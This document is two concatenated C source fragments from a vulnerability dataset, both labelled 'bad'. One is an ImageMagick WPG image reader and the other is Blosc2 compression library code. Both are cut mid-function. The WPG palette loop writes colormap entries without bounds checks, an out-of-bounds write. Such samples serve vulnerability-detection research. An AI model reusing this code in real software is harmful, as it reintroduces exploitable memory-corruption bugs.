RemoveLastImageFromList(&image); AppendImageToList(&image,flop_image); } } /* flip command */ if(BitmapHeader2.RotAngle & 0x2000) { Image *flip_image; flip_image = FlipImage(image, exception); if (flip_image != (Image *) NULL) { DuplicateBlob(flip_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flip_image); } } /* rotate command */ if(BitmapHeader2.RotAngle & 0x0FFF) { Image *rotate_image; rotate_image=RotateImage(image,(BitmapHeader2.RotAngle & 0x0FFF), exception); if (rotate_image != (Image *) NULL) { DuplicateBlob(rotate_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,rotate_image); } } } /* Allocate next image structure. */ AcquireNextImage(image_info,image); image->depth=8; if (image->next == (Image *) NULL) goto Finish; image=SyncNextImageInList(image); image->columns=image->rows=0; image->colors=0; break; case 0x1B: /* Postscript l2 */ if(Rec.RecordLength>0x3C) image=ExtractPostscript(image,image_info, TellBlob(image)+0x3C, /* skip PS l2 header in the wpg */ (ssize_t) Rec.RecordLength-0x3C,exception); break; } } break; case 2: /* WPG level 2 */ (void) memset(CTM,0,sizeof(CTM)); StartWPG.PosSizePrecision = 0; while(!EOFBlob(image)) /* object parser loop */ { (void) SeekBlob(image,Header.DataOffset,SEEK_SET); if(EOFBlob(image)) break; Rec2.Class=(i=ReadBlobByte(image)); if(i==EOF) break; Rec2.RecType=(i=ReadBlobByte(image)); if(i==EOF) break; Rd_WP_DWORD(image,&Rec2.Extension); Rd_WP_DWORD(image,&Rec2.RecordLength); if(EOFBlob(image)) break; Header.DataOffset=TellBlob(image)+Rec2.RecordLength; switch(Rec2.RecType) { case 1: StartWPG.HorizontalUnits=ReadBlobLSBShort(image); StartWPG.VerticalUnits=ReadBlobLSBShort(image); StartWPG.PosSizePrecision=ReadBlobByte(image); break; case 0x0C: /* Color palette */ WPG_Palette.StartIndex=ReadBlobLSBShort(image); WPG_Palette.NumOfEntries=ReadBlobLSBShort(image); image->colors=WPG_Palette.NumOfEntries; if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); for (i=WPG_Palette.StartIndex; i < (int)WPG_Palette.NumOfEntries; i++) { image->colormap[i].red=ScaleCharToQuantum((char) ReadBlobByte(image)); image->colormap[i].green=ScaleCharToQuantum((char) ReadBlobByte(image)); image->colormap[i].blue=ScaleCharToQuantum((char) ReadBlobByte(image)); (void) ReadBlobByte(image); /*Opacity??*/ } break; case 0x0E: Bitmap2Header1.Width=ReadBlobLSBShort(image); Bitmap2Header1.Height=ReadBlobLSBShort(image); if ((Bitmap2Header1.Width == 0) || (Bitmap2Header1.Height == 0)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); Bitmap2Header1.Depth=ReadBlobByte(image); Bitmap2Header1.Compression=ReadBlobByte(image); if(Bitmap2Header1.Compression > 1) continue; /*Unknown compression method */ switch(Bitmap2Header1.Depth) { case 1: bpp=1; break; case 2: bpp=2; break; case 3: bpp=4; break; case 4: bpp=8; break; case 8: bpp=24; break; default: continue; /*Ignore raster with unknown depth*/ } image->columns=Bitmap2Header1.Width; image->rows=Bitmap2Header1.Height; if ((image->colors == 0) && (bpp != 24)) { size_t one; one=1; image->colors=one << bpp; if (!AcquireImageColormap(image,image->colors)) goto NoMemory; } else { if(bpp < 24) if( image->colors<(one << bpp) && bpp!=24 ) image->colormap=(PixelPacket *) ResizeQuantumMemory( image->colormap,(size_t) (one << bpp), sizeof(*image->colormap)); } switch(Bitmap2Header1.Compression) { case 0: /*Uncompressed raster*/ { ldblk=(ssize_t) ((bpp*image->columns+7)/8); BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk,sizeof(*BImgBuff)); if (BImgBuff == (unsigned char *) NULL) goto NoMemory; for(i=0; i< (ssize_t) image->rows; i++) { (void) ReadBlob(image,ldblk,BImgBuff); InsertRow(BImgBuff,i,image,bpp); } if(BImgBuff) BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff);; break; } case 1: /*RLE for WPG2 */ { if( UnpackWPG2Raster(image,bpp) < 0) goto DecompressionFailed; break; } } if(CTM[0][0]<0 && !image_info->ping) { /*?? RotAngle=360-RotAngle;*/ Image *flop_image; flop_image = FlopImage(image, exception); if (flop_image != (Image *) NULL) { DuplicateBlob(flop_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flop_image); } /* Try to change CTM according to Flip - I am not sure, must be checked. Tx(0,0)=-1; Tx(1,0)=0; Tx(2,0)=0; Tx(0,1)= 0; Tx(1,1)=1; Tx(2,1)=0; Tx(0,2)=(WPG._2Rect.X_ur+WPG._2Rect.X_ll); Tx(1,2)=0; Tx(2,2)=1; */ } if(CTM[1][1]<0 && !image_info->ping) { /*?? RotAngle=360-RotAngle;*/ Image *flip_image; flip_image = FlipImage(image, exception); if (flip_image != (Image *) NULL) { DuplicateBlob(flip_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flip_image); } /* Try to change CTM according to Flip - I am not sure, must be checked. float_matrix Tx(3,3); Tx(0,0)= 1; Tx(1,0)= 0; Tx(2,0)=0; Tx(0,1)= 0; Tx(1,1)=-1; Tx(2,1)=0; Tx(0,2)= 0; Tx(1,2)=(WPG._2Rect.Y_ur+WPG._2Rect.Y_ll); Tx(2,2)=1; */ } /* Allocate next image structure. */ AcquireNextImage(image_info,image); image->depth=8; if (image->next == (Image *) NULL) goto Finish; image=SyncNextImageInList(image); image->columns=image->rows=1; image->colors=0; break; case 0x12: /* Postscript WPG2*/ i=ReadBlobLSBShort(image); if(Rec2.RecordLength > (unsigned int) i) image=ExtractPostscript(image,image_info, TellBlob(image)+i, /*skip PS header in the wpg2*/ (ssize_t) (Rec2.RecordLength-i-2),exception); break; case 0x1B: /*bitmap rectangle*/ WPG2Flags = LoadWPG2Flags(image,StartWPG.PosSizePrecision,NULL,&CTM); (void) WPG2Flags; break; } } break; default: { ThrowReaderException(CoderError,"DataEncodingSchemeIsNotSupported"); } } status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } Finish: (void) CloseBlob(image); { Image *p; ssize_t scene=0; /* Rewind list, removing any empty images while rewinding. */ p=image; image=NULL; while (p != (Image *) NULL) { Image *tmp=p; if ((p->rows == 0) || (p->columns == 0)) { p=p->previous; DeleteImageFromList(&tmp); } else { image=p; p=p->previous; } } /* Fix scene numbers. */ for (p=image; p != (Image *) NULL; p=p->next) p->scene=(size_t) scene++; } if (image == (Image *) NULL) ThrowReaderException(CorruptImageError, "ImageFileDoesNotContainAnyImageData"); return(image); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r W P G I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Method RegisterWPGImage adds attributes for the WPG image format to % the list of supported formats. The attributes include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterWPGImage method is: % % size_t RegisterWPGImage(void) % */ ModuleExport size_t RegisterWPGImage(void) { MagickInfo *entry; entry=SetMagickInfo("WPG"); entry->decoder=(DecodeImageHandler *) ReadWPGImage; entry->magick=(IsImageFormatHandler *) IsWPG; entry->description=AcquireString("Word Perfect Graphics"); entry->module=ConstantString("WPG"); entry->seekable_stream=MagickTrue; (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r W P G I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Method UnregisterWPGImage removes format registrations made by the % WPG module from the list of supported formats. % % The format of the UnregisterWPGImage method is: % % UnregisterWPGImage(void) % */ ModuleExport void UnregisterWPGImage(void) { (void) UnregisterMagickInfo("WPG"); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5305_0
crossvul-cpp_data_bad_4464_0
/********************************************************************* Blosc - Blocked Shuffling and Compression Library Author: Francesc Alted <francesc@blosc.org> Creation date: 2009-05-20 See LICENSE.txt for details about copyright and rights to use. **********************************************************************/ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <assert.h> #include "blosc2.h" #include "blosc-private.h" #include "blosc2-common.h" #if defined(USING_CMAKE) #include "config.h" #endif /* USING_CMAKE */ #include "context.h" #include "shuffle.h" #include "delta.h" #include "trunc-prec.h" #include "blosclz.h" #include "btune.h" #if defined(HAVE_LZ4) #include "lz4.h" #include "lz4hc.h" #ifdef HAVE_IPP #include <ipps.h> #include <ippdc.h> #endif #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) #include "lizard_compress.h" #include "lizard_decompress.h" #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) #include "snappy-c.h" #endif /* HAVE_SNAPPY */ #if defined(HAVE_MINIZ) #include "miniz.c" #elif defined(HAVE_ZLIB) #include "zlib.h" #endif /* HAVE_MINIZ */ #if defined(HAVE_ZSTD) #include "zstd.h" #include "zstd_errors.h" // #include "cover.h" // for experimenting with fast cover training for building dicts #include "zdict.h" #endif /* HAVE_ZSTD */ #if defined(_WIN32) && !defined(__MINGW32__) #include <windows.h> #include <malloc.h> /* stdint.h only available in VS2010 (VC++ 16.0) and newer */ #if defined(_MSC_VER) && _MSC_VER < 1600 #include "win32/stdint-windows.h" #else #include <stdint.h> #endif #include <process.h> #define getpid _getpid #else #include <unistd.h> #endif /* _WIN32 */ #if defined(_WIN32) && !defined(__GNUC__) #include "win32/pthread.c" #endif /* Synchronization variables */ /* Global context for non-contextual API */ static blosc2_context* g_global_context; static pthread_mutex_t global_comp_mutex; static int g_compressor = BLOSC_BLOSCLZ; static int g_delta = 0; /* the compressor to use by default */ static int g_nthreads = 1; static int32_t g_force_blocksize = 0; static int g_initlib = 0; static blosc2_schunk* g_schunk = NULL; /* the pointer to super-chunk */ // Forward declarations int init_threadpool(blosc2_context *context); int release_threadpool(blosc2_context *context); /* Macros for synchronization */ /* Wait until all threads are initialized */ #ifdef BLOSC_POSIX_BARRIERS #define WAIT_INIT(RET_VAL, CONTEXT_PTR) \ rc = pthread_barrier_wait(&(CONTEXT_PTR)->barr_init); \ if (rc != 0 && rc != PTHREAD_BARRIER_SERIAL_THREAD) { \ printf("Could not wait on barrier (init): %d\n", rc); \ return((RET_VAL)); \ } #else #define WAIT_INIT(RET_VAL, CONTEXT_PTR) \ pthread_mutex_lock(&(CONTEXT_PTR)->count_threads_mutex); \ if ((CONTEXT_PTR)->count_threads < (CONTEXT_PTR)->nthreads) { \ (CONTEXT_PTR)->count_threads++; \ pthread_cond_wait(&(CONTEXT_PTR)->count_threads_cv, \ &(CONTEXT_PTR)->count_threads_mutex); \ } \ else { \ pthread_cond_broadcast(&(CONTEXT_PTR)->count_threads_cv); \ } \ pthread_mutex_unlock(&(CONTEXT_PTR)->count_threads_mutex); #endif /* Wait for all threads to finish */ #ifdef BLOSC_POSIX_BARRIERS #define WAIT_FINISH(RET_VAL, CONTEXT_PTR) \ rc = pthread_barrier_wait(&(CONTEXT_PTR)->barr_finish); \ if (rc != 0 && rc != PTHREAD_BARRIER_SERIAL_THREAD) { \ printf("Could not wait on barrier (finish)\n"); \ return((RET_VAL)); \ } #else #define WAIT_FINISH(RET_VAL, CONTEXT_PTR) \ pthread_mutex_lock(&(CONTEXT_PTR)->count_threads_mutex); \ if ((CONTEXT_PTR)->count_threads > 0) { \ (CONTEXT_PTR)->count_threads--; \ pthread_cond_wait(&(CONTEXT_PTR)->count_threads_cv, \ &(CONTEXT_PTR)->count_threads_mutex); \ } \ else { \ pthread_cond_broadcast(&(CONTEXT_PTR)->count_threads_cv); \ } \ pthread_mutex_unlock(&(CONTEXT_PTR)->count_threads_mutex); #endif /* global variable to change threading backend from Blosc-managed to caller-managed */ static blosc_threads_callback threads_callback = 0; static void *threads_callback_data = 0; /* non-threadsafe function should be called before any other Blosc function in order to change how threads are managed */ void blosc_set_threads_callback(blosc_threads_callback callback, void *callback_data) { threads_callback = callback; threads_callback_data = callback_data; } /* A function for aligned malloc that is portable */ static uint8_t* my_malloc(size_t size) { void* block = NULL; int res = 0; /* Do an alignment to 32 bytes because AVX2 is supported */ #if defined(_WIN32) /* A (void *) cast needed for avoiding a warning with MINGW :-/ */ block = (void *)_aligned_malloc(size, 32); #elif _POSIX_C_SOURCE >= 200112L || _XOPEN_SOURCE >= 600 /* Platform does have an implementation of posix_memalign */ res = posix_memalign(&block, 32, size); #else block = malloc(size); #endif /* _WIN32 */ if (block == NULL || res != 0) { printf("Error allocating memory!"); return NULL; } return (uint8_t*)block; } /* Release memory booked by my_malloc */ static void my_free(void* block) { #if defined(_WIN32) _aligned_free(block); #else free(block); #endif /* _WIN32 */ } /* * Conversion routines between compressor and compression libraries */ /* Return the library code associated with the compressor name */ static int compname_to_clibcode(const char* compname) { if (strcmp(compname, BLOSC_BLOSCLZ_COMPNAME) == 0) return BLOSC_BLOSCLZ_LIB; if (strcmp(compname, BLOSC_LZ4_COMPNAME) == 0) return BLOSC_LZ4_LIB; if (strcmp(compname, BLOSC_LZ4HC_COMPNAME) == 0) return BLOSC_LZ4_LIB; if (strcmp(compname, BLOSC_LIZARD_COMPNAME) == 0) return BLOSC_LIZARD_LIB; if (strcmp(compname, BLOSC_SNAPPY_COMPNAME) == 0) return BLOSC_SNAPPY_LIB; if (strcmp(compname, BLOSC_ZLIB_COMPNAME) == 0) return BLOSC_ZLIB_LIB; if (strcmp(compname, BLOSC_ZSTD_COMPNAME) == 0) return BLOSC_ZSTD_LIB; return -1; } /* Return the library name associated with the compressor code */ static const char* clibcode_to_clibname(int clibcode) { if (clibcode == BLOSC_BLOSCLZ_LIB) return BLOSC_BLOSCLZ_LIBNAME; if (clibcode == BLOSC_LZ4_LIB) return BLOSC_LZ4_LIBNAME; if (clibcode == BLOSC_LIZARD_LIB) return BLOSC_LIZARD_LIBNAME; if (clibcode == BLOSC_SNAPPY_LIB) return BLOSC_SNAPPY_LIBNAME; if (clibcode == BLOSC_ZLIB_LIB) return BLOSC_ZLIB_LIBNAME; if (clibcode == BLOSC_ZSTD_LIB) return BLOSC_ZSTD_LIBNAME; return NULL; /* should never happen */ } /* * Conversion routines between compressor names and compressor codes */ /* Get the compressor name associated with the compressor code */ int blosc_compcode_to_compname(int compcode, const char** compname) { int code = -1; /* -1 means non-existent compressor code */ const char* name = NULL; /* Map the compressor code */ if (compcode == BLOSC_BLOSCLZ) name = BLOSC_BLOSCLZ_COMPNAME; else if (compcode == BLOSC_LZ4) name = BLOSC_LZ4_COMPNAME; else if (compcode == BLOSC_LZ4HC) name = BLOSC_LZ4HC_COMPNAME; else if (compcode == BLOSC_LIZARD) name = BLOSC_LIZARD_COMPNAME; else if (compcode == BLOSC_SNAPPY) name = BLOSC_SNAPPY_COMPNAME; else if (compcode == BLOSC_ZLIB) name = BLOSC_ZLIB_COMPNAME; else if (compcode == BLOSC_ZSTD) name = BLOSC_ZSTD_COMPNAME; *compname = name; /* Guess if there is support for this code */ if (compcode == BLOSC_BLOSCLZ) code = BLOSC_BLOSCLZ; #if defined(HAVE_LZ4) else if (compcode == BLOSC_LZ4) code = BLOSC_LZ4; else if (compcode == BLOSC_LZ4HC) code = BLOSC_LZ4HC; #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (compcode == BLOSC_LIZARD) code = BLOSC_LIZARD; #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (compcode == BLOSC_SNAPPY) code = BLOSC_SNAPPY; #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (compcode == BLOSC_ZLIB) code = BLOSC_ZLIB; #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (compcode == BLOSC_ZSTD) code = BLOSC_ZSTD; #endif /* HAVE_ZSTD */ return code; } /* Get the compressor code for the compressor name. -1 if it is not available */ int blosc_compname_to_compcode(const char* compname) { int code = -1; /* -1 means non-existent compressor code */ if (strcmp(compname, BLOSC_BLOSCLZ_COMPNAME) == 0) { code = BLOSC_BLOSCLZ; } #if defined(HAVE_LZ4) else if (strcmp(compname, BLOSC_LZ4_COMPNAME) == 0) { code = BLOSC_LZ4; } else if (strcmp(compname, BLOSC_LZ4HC_COMPNAME) == 0) { code = BLOSC_LZ4HC; } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (strcmp(compname, BLOSC_LIZARD_COMPNAME) == 0) { code = BLOSC_LIZARD; } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (strcmp(compname, BLOSC_SNAPPY_COMPNAME) == 0) { code = BLOSC_SNAPPY; } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (strcmp(compname, BLOSC_ZLIB_COMPNAME) == 0) { code = BLOSC_ZLIB; } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (strcmp(compname, BLOSC_ZSTD_COMPNAME) == 0) { code = BLOSC_ZSTD; } #endif /* HAVE_ZSTD */ return code; } #if defined(HAVE_LZ4) static int lz4_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int accel, void* hash_table) { BLOSC_UNUSED_PARAM(accel); int cbytes; #ifdef HAVE_IPP if (hash_table == NULL) { return -1; // the hash table should always be initialized } int outlen = (int)maxout; int inlen = (int)input_length; // I have not found any function that uses `accel` like in `LZ4_compress_fast`, but // the IPP LZ4Safe call does a pretty good job on compressing well, so let's use it IppStatus status = ippsEncodeLZ4Safe_8u((const Ipp8u*)input, &inlen, (Ipp8u*)output, &outlen, (Ipp8u*)hash_table); if (status == ippStsDstSizeLessExpected) { return 0; // we cannot compress in required outlen } else if (status != ippStsNoErr) { return -1; // an unexpected error happened } cbytes = outlen; #else BLOSC_UNUSED_PARAM(hash_table); accel = 1; // deactivate acceleration to match IPP behaviour cbytes = LZ4_compress_fast(input, output, (int)input_length, (int)maxout, accel); #endif return cbytes; } static int lz4hc_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int clevel) { int cbytes; if (input_length > (size_t)(UINT32_C(2) << 30)) return -1; /* input larger than 2 GB is not supported */ /* clevel for lz4hc goes up to 12, at least in LZ4 1.7.5 * but levels larger than 9 do not buy much compression. */ cbytes = LZ4_compress_HC(input, output, (int)input_length, (int)maxout, clevel); return cbytes; } static int lz4_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { int nbytes; #ifdef HAVE_IPP int outlen = (int)maxout; int inlen = (int)compressed_length; IppStatus status; status = ippsDecodeLZ4_8u((const Ipp8u*)input, inlen, (Ipp8u*)output, &outlen); //status = ippsDecodeLZ4Dict_8u((const Ipp8u*)input, &inlen, (Ipp8u*)output, 0, &outlen, NULL, 1 << 16); nbytes = (status == ippStsNoErr) ? outlen : -outlen; #else nbytes = LZ4_decompress_safe(input, output, (int)compressed_length, (int)maxout); #endif if (nbytes != (int)maxout) { return 0; } return (int)maxout; } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) static int lizard_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int clevel) { int cbytes; cbytes = Lizard_compress(input, output, (int)input_length, (int)maxout, clevel); return cbytes; } static int lizard_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { int dbytes; dbytes = Lizard_decompress_safe(input, output, (int)compressed_length, (int)maxout); if (dbytes < 0) { return 0; } return dbytes; } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) static int snappy_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout) { snappy_status status; size_t cl = maxout; status = snappy_compress(input, input_length, output, &cl); if (status != SNAPPY_OK) { return 0; } return (int)cl; } static int snappy_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { snappy_status status; size_t ul = maxout; status = snappy_uncompress(input, compressed_length, output, &ul); if (status != SNAPPY_OK) { return 0; } return (int)ul; } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) /* zlib is not very respectful with sharing name space with others. Fortunately, its names do not collide with those already in blosc. */ static int zlib_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int clevel) { int status; uLongf cl = (uLongf)maxout; status = compress2( (Bytef*)output, &cl, (Bytef*)input, (uLong)input_length, clevel); if (status != Z_OK) { return 0; } return (int)cl; } static int zlib_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { int status; uLongf ul = (uLongf)maxout; status = uncompress( (Bytef*)output, &ul, (Bytef*)input, (uLong)compressed_length); if (status != Z_OK) { return 0; } return (int)ul; } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) static int zstd_wrap_compress(struct thread_context* thread_context, const char* input, size_t input_length, char* output, size_t maxout, int clevel) { size_t code; blosc2_context* context = thread_context->parent_context; clevel = (clevel < 9) ? clevel * 2 - 1 : ZSTD_maxCLevel(); /* Make the level 8 close enough to maxCLevel */ if (clevel == 8) clevel = ZSTD_maxCLevel() - 2; if (thread_context->zstd_cctx == NULL) { thread_context->zstd_cctx = ZSTD_createCCtx(); } if (context->use_dict) { assert(context->dict_cdict != NULL); code = ZSTD_compress_usingCDict( thread_context->zstd_cctx, (void*)output, maxout, (void*)input, input_length, context->dict_cdict); } else { code = ZSTD_compressCCtx(thread_context->zstd_cctx, (void*)output, maxout, (void*)input, input_length, clevel); } if (ZSTD_isError(code) != ZSTD_error_no_error) { // Do not print anything because blosc will just memcpy this buffer // fprintf(stderr, "Error in ZSTD compression: '%s'. Giving up.\n", // ZDICT_getErrorName(code)); return 0; } return (int)code; } static int zstd_wrap_decompress(struct thread_context* thread_context, const char* input, size_t compressed_length, char* output, size_t maxout) { size_t code; blosc2_context* context = thread_context->parent_context; if (thread_context->zstd_dctx == NULL) { thread_context->zstd_dctx = ZSTD_createDCtx(); } if (context->use_dict) { assert(context->dict_ddict != NULL); code = ZSTD_decompress_usingDDict( thread_context->zstd_dctx, (void*)output, maxout, (void*)input, compressed_length, context->dict_ddict); } else { code = ZSTD_decompressDCtx(thread_context->zstd_dctx, (void*)output, maxout, (void*)input, compressed_length); } if (ZSTD_isError(code) != ZSTD_error_no_error) { fprintf(stderr, "Error in ZSTD decompression: '%s'. Giving up.\n", ZDICT_getErrorName(code)); return 0; } return (int)code; } #endif /* HAVE_ZSTD */ /* Compute acceleration for blosclz */ static int get_accel(const blosc2_context* context) { int clevel = context->clevel; if (context->compcode == BLOSC_LZ4) { /* This acceleration setting based on discussions held in: * https://groups.google.com/forum/#!topic/lz4c/zosy90P8MQw */ return (10 - clevel); } else if (context->compcode == BLOSC_LIZARD) { /* Lizard currently accepts clevels from 10 to 49 */ switch (clevel) { case 1 : return 10; case 2 : return 10; case 3 : return 10; case 4 : return 10; case 5 : return 20; case 6 : return 20; case 7 : return 20; case 8 : return 41; case 9 : return 41; default : break; } } return 1; } int do_nothing(int8_t filter, char cmode) { if (cmode == 'c') { return (filter == BLOSC_NOFILTER); } else { // TRUNC_PREC do not have to be applied during decompression return ((filter == BLOSC_NOFILTER) || (filter == BLOSC_TRUNC_PREC)); } } int next_filter(const uint8_t* filters, int current_filter, char cmode) { for (int i = current_filter - 1; i >= 0; i--) { if (!do_nothing(filters[i], cmode)) { return filters[i]; } } return BLOSC_NOFILTER; } int last_filter(const uint8_t* filters, char cmode) { int last_index = -1; for (int i = BLOSC2_MAX_FILTERS - 1; i >= 0; i--) { if (!do_nothing(filters[i], cmode)) { last_index = i; } } return last_index; } uint8_t* pipeline_c(struct thread_context* thread_context, const int32_t bsize, const uint8_t* src, const int32_t offset, uint8_t* dest, uint8_t* tmp, uint8_t* tmp2) { blosc2_context* context = thread_context->parent_context; uint8_t* _src = (uint8_t*)src + offset; uint8_t* _tmp = tmp; uint8_t* _dest = dest; int32_t typesize = context->typesize; uint8_t* filters = context->filters; uint8_t* filters_meta = context->filters_meta; bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; /* Prefilter function */ if (context->prefilter != NULL) { // Create new prefilter parameters for this block (must be private for each thread) blosc2_prefilter_params pparams; memcpy(&pparams, context->pparams, sizeof(pparams)); pparams.out = _dest; pparams.out_size = (size_t)bsize; pparams.out_typesize = typesize; pparams.out_offset = offset; pparams.tid = thread_context->tid; pparams.ttmp = thread_context->tmp; pparams.ttmp_nbytes = thread_context->tmp_nbytes; pparams.ctx = context; if (context->prefilter(&pparams) != 0) { fprintf(stderr, "Execution of prefilter function failed\n"); return NULL; } if (memcpyed) { // No more filters are required return _dest; } // Cycle buffers _src = _dest; _dest = _tmp; _tmp = _src; } /* Process the filter pipeline */ for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { switch (filters[i]) { case BLOSC_SHUFFLE: for (int j = 0; j <= filters_meta[i]; j++) { shuffle(typesize, bsize, _src, _dest); // Cycle filters when required if (j < filters_meta[i]) { _src = _dest; _dest = _tmp; _tmp = _src; } } break; case BLOSC_BITSHUFFLE: bitshuffle(typesize, bsize, _src, _dest, tmp2); break; case BLOSC_DELTA: delta_encoder(src, offset, bsize, typesize, _src, _dest); break; case BLOSC_TRUNC_PREC: truncate_precision(filters_meta[i], typesize, bsize, _src, _dest); break; default: if (filters[i] != BLOSC_NOFILTER) { fprintf(stderr, "Filter %d not handled during compression\n", filters[i]); return NULL; } } // Cycle buffers when required if (filters[i] != BLOSC_NOFILTER) { _src = _dest; _dest = _tmp; _tmp = _src; } } return _src; } // Optimized version for detecting runs. It compares 8 bytes values wherever possible. static bool get_run(const uint8_t* ip, const uint8_t* ip_bound) { uint8_t x = *ip; int64_t value, value2; /* Broadcast the value for every byte in a 64-bit register */ memset(&value, x, 8); while (ip < (ip_bound - 8)) { #if defined(BLOSC_STRICT_ALIGN) memcpy(&value2, ref, 8); #else value2 = *(int64_t*)ip; #endif if (value != value2) { // Values differ. We don't have a run. return false; } else { ip += 8; } } /* Look into the remainder */ while ((ip < ip_bound) && (*ip == x)) ip++; return ip == ip_bound ? true : false; } /* Shuffle & compress a single block */ static int blosc_c(struct thread_context* thread_context, int32_t bsize, int32_t leftoverblock, int32_t ntbytes, int32_t maxbytes, const uint8_t* src, const int32_t offset, uint8_t* dest, uint8_t* tmp, uint8_t* tmp2) { blosc2_context* context = thread_context->parent_context; int dont_split = (context->header_flags & 0x10) >> 4; int dict_training = context->use_dict && context->dict_cdict == NULL; int32_t j, neblock, nstreams; int32_t cbytes; /* number of compressed bytes in split */ int32_t ctbytes = 0; /* number of compressed bytes in block */ int64_t maxout; int32_t typesize = context->typesize; const char* compname; int accel; const uint8_t* _src; uint8_t *_tmp = tmp, *_tmp2 = tmp2; uint8_t *_tmp3 = thread_context->tmp4; int last_filter_index = last_filter(context->filters, 'c'); bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; if (last_filter_index >= 0 || context->prefilter != NULL) { /* Apply the filter pipeline just for the prefilter */ if (memcpyed && context->prefilter != NULL) { // We only need the prefilter output _src = pipeline_c(thread_context, bsize, src, offset, dest, _tmp2, _tmp3); if (_src == NULL) { return -9; // signals a problem with the filter pipeline } return bsize; } /* Apply regular filter pipeline */ _src = pipeline_c(thread_context, bsize, src, offset, _tmp, _tmp2, _tmp3); if (_src == NULL) { return -9; // signals a problem with the filter pipeline } } else { _src = src + offset; } assert(context->clevel > 0); /* Calculate acceleration for different compressors */ accel = get_accel(context); /* The number of compressed data streams for this block */ if (!dont_split && !leftoverblock && !dict_training) { nstreams = (int32_t)typesize; } else { nstreams = 1; } neblock = bsize / nstreams; for (j = 0; j < nstreams; j++) { if (!dict_training) { dest += sizeof(int32_t); ntbytes += sizeof(int32_t); ctbytes += sizeof(int32_t); } // See if we have a run here const uint8_t* ip = (uint8_t*)_src + j * neblock; const uint8_t* ipbound = (uint8_t*)_src + (j + 1) * neblock; if (get_run(ip, ipbound)) { // A run. Encode the repeated byte as a negative length in the length of the split. int32_t value = _src[j * neblock]; _sw32(dest - 4, -value); continue; } maxout = neblock; #if defined(HAVE_SNAPPY) if (context->compcode == BLOSC_SNAPPY) { maxout = (int32_t)snappy_max_compressed_length((size_t)neblock); } #endif /* HAVE_SNAPPY */ if (ntbytes + maxout > maxbytes) { /* avoid buffer * overrun */ maxout = (int64_t)maxbytes - (int64_t)ntbytes; if (maxout <= 0) { return 0; /* non-compressible block */ } } if (dict_training) { // We are in the build dict state, so don't compress // TODO: copy only a percentage for sampling memcpy(dest, _src + j * neblock, (unsigned int)neblock); cbytes = (int32_t)neblock; } else if (context->compcode == BLOSC_BLOSCLZ) { cbytes = blosclz_compress(context->clevel, _src + j * neblock, (int)neblock, dest, (int)maxout); } #if defined(HAVE_LZ4) else if (context->compcode == BLOSC_LZ4) { void *hash_table = NULL; #ifdef HAVE_IPP hash_table = (void*)thread_context->lz4_hash_table; #endif cbytes = lz4_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, accel, hash_table); } else if (context->compcode == BLOSC_LZ4HC) { cbytes = lz4hc_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, context->clevel); } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (context->compcode == BLOSC_LIZARD) { cbytes = lizard_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, accel); } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (context->compcode == 